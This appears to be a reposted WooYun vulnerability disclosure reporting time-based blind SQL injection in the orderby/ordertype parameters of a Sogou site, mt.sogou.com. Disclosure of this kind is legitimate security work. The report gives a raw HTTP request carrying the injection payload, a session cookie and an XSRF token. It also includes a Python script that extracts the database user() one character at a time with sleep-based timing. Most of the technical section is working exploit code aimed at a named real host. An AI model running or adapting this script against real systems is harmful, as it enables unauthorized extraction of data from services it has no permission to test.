搜狗某站存在SQL注入(附验证脚本)triblekill

admin 2017年5月1日09:32:43评论281 views字数 214阅读0分42秒阅读模式
摘要

2016-04-15: 细节已通知厂商并且等待厂商处理中
2016-04-18: 厂商已经确认,细节仅向厂商公开
2016-04-28: 细节向核心白帽子及相关领域专家公开
2016-05-08: 细节向普通白帽子公开
2016-05-18: 细节向实习白帽子公开
2016-06-02: 细节向公众公开

漏洞概要 关注数(12) 关注此漏洞

缺陷编号: WooYun-2016-196498

漏洞标题: 搜狗某站存在SQL注入(附验证脚本)triblekill

相关厂商: 搜狗

漏洞作者: Vinc

提交时间: 2016-04-15 10:03

公开时间: 2016-06-02 23:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: sql注入

2人收藏


漏洞详情

披露状态:

2016-04-15: 细节已通知厂商并且等待厂商处理中
2016-04-18: 厂商已经确认,细节仅向厂商公开
2016-04-28: 细节向核心白帽子及相关领域专家公开
2016-05-08: 细节向普通白帽子公开
2016-05-18: 细节向实习白帽子公开
2016-06-02: 细节向公众公开

简要描述:

一库

详细说明:

需要登录才行。

HTTP包如下

GET /Handlers/ScriptManager/ScriptHandler.ashx?_=1460630014907&action=getScriptList&currentPage=0&filter=%7B%22name%22:%22123%22%7D&groupId=-1&orderby=id&ordertype=desc,(select*from(select(if(ascii(substr(version(),1,1))=53,sleep(0),1)))a)&pageSize=20 HTTP/1.1

Host: mt.sogou.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

X-XSRF-TOKEN: 8efa41b7

Referer: http://mt.sogou.com/Pages/index.html

Cookie: ASP.NET_SessionId=tpdgtgwfhq5semvkc2eq1xpy;

Connection: close

参数orderby和ordertype存在注入

user():

漏洞证明:

搜狗某站存在SQL注入(附验证脚本)triblekill

#encoding=utf-8

import httplib

import time

import string

import sys

headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',

}

payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')

print '[%s] Start to retrive MySQL database()' % time.strftime('%H:%M:%S', time.localtime())

database = ''

for i in range(1,25,1):

for payload in payloads:

try:

headers = {"Cookie": "ASP.NET_SessionId=tpdgtgwfhq5semvkc2eq1xpy"}

conn = httplib.HTTPConnection('mt.sogou.com:80', timeout=5)

conn.request(method='GET', url="/Handlers/TaskManager/TaskHandler.ashx?action=getTempList&currentPage=0&groupId=-1&orderby=createTime&ordertype=desc,(select*from(select(if(ascii(substr(user(),"+str(i)+",1))="+str(ord(payload))+",sleep(20),1)))a)&pageSize=20",headers=headers )

status = conn.getresponse().status

conn.close()

except :

database += payload

print '/r[scan in progress]' ,database

time.sleep(0.01)

break

print ''

print 'database() is', database

修复方案:

.

版权声明:转载请注明来源 Vinc@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-18 23:40

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin